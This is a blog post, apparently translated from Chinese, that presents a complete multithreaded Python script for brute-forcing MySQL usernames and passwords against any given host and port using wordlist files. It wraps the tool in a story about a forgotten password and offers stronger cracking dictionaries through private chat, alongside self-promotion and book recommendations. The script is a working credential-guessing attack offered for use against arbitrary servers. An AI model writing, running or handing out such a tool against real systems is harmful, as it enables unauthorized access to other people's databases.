Write a tool in Python and crack MySQL perfectly!! (recommended Collection)

Hello, I'm glacier~~

Recently, many friends asked me: Glacier, how do you feel you can do anything? Java, Python, big data, distribution, microservices, system architecture, operation and maintenance, penetration, how do you usually learn? I: personally, I think the best way to learn is to summarize problems in the usual work process, pay attention to accumulating solutions to problems, check omissions and fill vacancies in time, and gradually form a set of my own methodology.

We should know that the accumulation of every knowledge and skill requires persistence day after day, which is the so-called persistence. Persistence is the key to make progress every day.

If you think the article is good, you can praise, collect, comment, share and come together. Remember to give the glacier a key three times~~

Enter the theme

Well, let's enter today's topic. I came home from work today and wanted to log in to MySQL database. Unfortunately, I forgot the user and password of MySQL database. What should I do? Log in using safe mode? I think everyone should know such a conventional way! Today, let's make a difference, that is, use Python to write a tool to blow up Mysql to see if it can blow up MySQL users and passwords.

If you think the article is good, you can praise, collect, comment, share and come together. Remember to give the glacier a key three times~~

All right, let's do it. Let's start.

Blasting script

The python script written this time uses the multi-threaded programming in Python and imports the MySQL DB module. When running, the script receives the following five parameters:

ip/domain to be cracked: for example, 127.0.0.1
Port: e.g. 3306
Database: for example, test
User name list file: for example, user Txt file
Password list file: for example, password Txt file

Relatively speaking, it is still relatively simple. Here is the complete script code.

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2021/06/30
# Created by glacier
# Description MySQL brute force cracking tool multithreaded version
import os, sys, re, socket, time
from functools import partial
from multiprocessing.dummy import Pool as ThreadPool
 
try:
    import MySQLdb
except ImportError:
    print '\n[!] MySQLdb Module import error,Please download from the following website:'
    print '[!] http://www.codegood.com/archives/129'
    exit()
 
 
def usage():
    print '+' + '-' * 50 + '+'
    print '\t   Python MySQL Brute force cracking tool multithreaded version'
    print '\t   WeChat official account: Glacier Technology'
    print '\t\t Code BY:  glacier'
    print '\t\t Time: 2021-06-30'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 6:
        print "usage: " + os.path.basename(sys.argv[0]) + " To be cracked ip/domain Port database username list password list"
        print "example: " + os.path.basename(sys.argv[0]) + " 127.0.0.1  3306  test user.txt pass.txt"
        sys.exit()
 
 
def mysql_brute(user, password):
    "mysql Database cracking function"
    db = None
    try:
        # print "user:", user, "password:", password
        db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
        # print '[+] successfully cracked:', user, password
        result.append('user name:' + user + "\t password:" + password)
    except KeyboardInterrupt:
        print 'Successfully exited the program!'
        exit()
    except MySQLdb.Error, msg:
        print 'Program error,The error message is:', msg
        pass
    finally:
        if db:
            db.close()
 
 
if __name__ == '__main__':
    usage()
    start_time = time.time()
    if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
        host = sys.argv[1]
    else:
        host = socket.gethostbyname(sys.argv[1])
    userlist = [i.rstrip() for i in open(sys.argv[4])]
    passlist = [j.rstrip() for j in open(sys.argv[5])]
    print '\n[+] Objectives:%s \n' % sys.argv[1]
    print '[+] user name:%d strip\n' % len(userlist)
    print '[+] password:%d strip\n' % len(passlist)
    print '[!] Password cracking,Please wait\n'
    result = []
 
    for user in userlist:
        partial_user = partial(mysql_brute, user)
        pool = ThreadPool(10)
        pool.map(partial_user, passlist)
        pool.close()
        pool.join()
    if len(result) != 0:
        print '[+] MySQL Password cracked successfully!\n'
        for x in {}.fromkeys(result).keys():
            print x + '\n'
    else:
        print '[-] MySQL Password cracking failed!\n'
    print '[+] Crack completed, time: %d second' % (time.time() - start_time)

After the script was written, it ran and waited for some time to crack my MySQL user and password perfectly.

It should be noted here that whether you can crack the MySQL user and password depends on whether your blasting dictionary is strong enough. To put it bluntly, it is your user Txt file and password Whether the password in TXT file is complete enough.

If you want to obtain a relatively powerful dictionary file of blasting password, you can add my wechat: sun_shine_lyz private chat. And I also wrote a program to generate a password dictionary according to the number of digits entered. You can also talk about it privately.

Recommended books

This time, I also recommend some books on penetration.

Ice river infiltration practice notes

First of all, I recently wrote the ice river penetration practice notes, a very good penetration practice e-book, most of which come from the ice river penetration practice notes for many years.

Download address: https://download.csdn.net/download/l1028386804/18830348

In addition, I recommend two more books that I have studied in depth before and are very good.

Secret of IDA Pro code cracking

IDA Pro authoritative guide (2nd Edition)

Write at the end

If you want to enter a big factory, want to be promoted and raised, or are confused about your existing work, you can communicate with me privately. I hope some of my experience can help you~~

Programming VIP